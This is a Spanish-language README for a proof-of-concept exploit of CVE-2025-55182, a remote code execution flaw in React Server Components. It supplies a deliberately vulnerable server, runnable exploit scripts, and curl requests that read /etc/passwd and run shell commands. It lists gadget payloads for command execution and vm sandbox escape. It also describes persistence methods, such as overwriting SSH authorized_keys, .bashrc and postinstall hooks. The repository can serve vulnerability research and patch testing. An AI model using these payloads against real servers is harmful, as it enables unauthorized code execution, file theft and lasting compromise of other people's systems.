Esta POC demuestra CVE-2025-55182 utilizando el código vulnerable real de `[email protected]`.
Este POC demuestra la CVE-2025-55182 utilizando el código vulnerable real de [email protected].
Este repositorio es un fork de https://github.com/ejpir/CVE-2025-55182-poc y aún no ha sido verificado. ¡Tenga precaución y verifíquelo detenidamente!
# Instalar dependencias
npm install
# Iniciar el servidor vulnerable (puerto 3002)
npm start
# Ejecutar el exploit RCE
npm run exploit
=== CVE-2025-55182 - RCE mediante vm.runInThisContext ===
Prueba 1: Llamada directa a vm#runInThisContext con código
1+1 = {"success":true,"result":"2"}
Prueba 2: vm.runInThisContext con require
Intento de RCE: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}
# Servidores
npm start # Iniciar el servidor principal (server-realistic.js, puerto 3002)
npm run start:legacy # Iniciar el servidor heredado (server.js, puerto 3002)
npm run start:module # Iniciar el servidor de módulos (puerto 3003) - hipotético, ver nota abajo
# Exploits (usar con npm start)
npm run exploit # Demo RCE (usa vm, funciona con cualquiera: vm, child_process, fs)
npm run exploit:all # Probar todos los gadgets
npm run exploit:persistence # Ataques de persistencia (solo fs)
npm run exploit:research # Investigación de la cadena de prototipos
# Exploits hipotéticos (usar con start:module)
npm run exploit:module # RCE en dos pasos mediante module#_load
npm run exploit:indirect # RCE en dos pasos con archivo de prueba
Nota: Los exploits de
moduleson hipotéticos. El módulo integradomodulerara vez se incluye en aplicaciones de producción. Demuestran una vía de ataque teórica cuando solo están disponiblesfs+module(sin vm/child_process). En la práctica, las aplicaciones confssuelen tener tambiénchild_processa través de dependencias como sharp, puppeteer o execa.
# Iniciar el servidor primero
npm start
# Probar lectura de fs
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Probar ejecución de comandos
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
# Probar ejecución de código vm
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'
# Probar acceso a la cadena de prototipos
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_ID_abc123def456#constructor='
| Archivo | Puerto | Descripción |
|---|---|---|
src/server-realistic.js | 3002 | Servidor principal - simula un bundle de webpack con módulos comunes (fs, vm, child_process) |
src/server.js | 3002 | Servidor heredado (usa require directo) |
src/server-module-test.js | 3003 | Servidor con module + fs (para investigación) |
| Archivo | Descripción |
|---|---|
exploit-rce-v4.js | RCE principal mediante vm#runInThisContext |
exploit-all-gadgets.js | Prueba todos los gadgets RCE (vm, child_process, fs) |
exploit-module-load.js | RCE en dos pasos mediante fs + module#_load |
exploit-indirect-rce.js | RCE en dos pasos con creación de archivo de prueba |
exploit-persistence.js | Ataques de persistencia (claves SSH, .bashrc) |
exploit-research.js | Investigación de la cadena de prototipos |
Simula un bundle real de webpack donde las aplicaciones suelen incluir módulos peligrosos a través de dependencias:
// Módulos agrupados (lo que se incluye al usar paquetes comunes)
const BUNDLED_MODULES = {
'actions-chunk-123': { /* acciones del servidor del usuario */ },
'fs': require('fs'), // a través de fs-extra, gray-matter, multer
'child_process': require('child_process'), // a través de execa, shelljs, puppeteer
'vm': require('vm'), // a través de ejs, pug, handlebars
'util': require('util'),
};
La función __webpack_require__ solo carga módulos de BUNDLED_MODULES, simulando el comportamiento real de webpack.
En requireModule(), los exports se acceden mediante notación de corchetes sin comprobación de hasOwnProperty:
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]]; // ¡Accede a la cadena de prototipos!
// CORREGIDO (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
return moduleExports[metadata[2]];
$ACTION_REF_0 con metadatos de acción vinculadosid: 'vm#runInThisContext' carga el módulo vm y accede al export runInThisContextbound se convierte en los argumentos de la funciónrunInThisContext(CODE) ejecuta código arbitrario| Gadget | Estado | Descripción |
|---|---|---|
vm#runInThisContext | ✓ | Ejecutar JS arbitrario en el contexto actual |
vm#runInNewContext | ✓ | Ejecutar en "sandbox" (fácil de evadir) |
child_process#execSync | ✓ | Ejecución directa de comandos de shell |
child_process#execFileSync | ✓ | Ejecutar archivos binarios |
child_process#spawnSync | ✓ | Crear proceso (devuelve un objeto) |
module#_load | ✓ | Cargar y ejecutar archivo JS (en 2 pasos con fs) |
fs#readFileSync | ✓ | Leer archivos arbitrarios |
fs#writeFileSync | ✓ | Escribir archivos arbitrarios |
Ejecutar comando de shell (whoami):
{ id: 'child_process#execSync', bound: ['whoami'] }
Leer archivos sensibles:
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }
Escribir archivos en disco:
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }
Ejecutar JavaScript arbitrario:
{
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}
Evasión de sandbox (vm.runInNewContext):
{
id: 'vm#runInNewContext',
bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}
Para RCE directo: Sí, necesitas uno de:
vm (runInThisContext, runInNewContext)child_process (execSync, execFileSync, spawnSync)Para RCE indirecto (solo fs): ¡No! Con solo fs puedes:
~/.ssh/authorized_keys → acceso SSH~/.bashrc → ejecución de código en el próximo inicio de sesiónnode_modules/* → RCE al reiniciar la aplicaciónpostinstall en package.json → RCE en el próximo npm installNota: Esto es hipotético. El módulo integrado
modulerara vez se incluye en producción.
// Paso 1: Escribir módulo malicioso
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }
// Paso 2: Cargarlo
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// Resultado: ¡RCE!
| Versión | Ataque | Resultado |
|---|---|---|
| React 19.0.0 | vm#runInThisContext | ✓ RCE logrado |
| React 19.2.1 | vm#runInThisContext | ✗ Bloqueado |
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Los ataques fallarán
Consulta VULNERABLE-PACKAGES.md para conocer la investigación sobre paquetes npm populares que incluyen módulos peligrosos:
| Módulo | Descargas semanales | Paquetes populares |
|---|---|---|
fs | 145M+ | fs-extra, gray-matter, multer, sharp |
child_process | 103M+ | execa, shelljs, puppeteer, sharp |
vm | 21M+ | ejs, pug, handlebars, vm2 |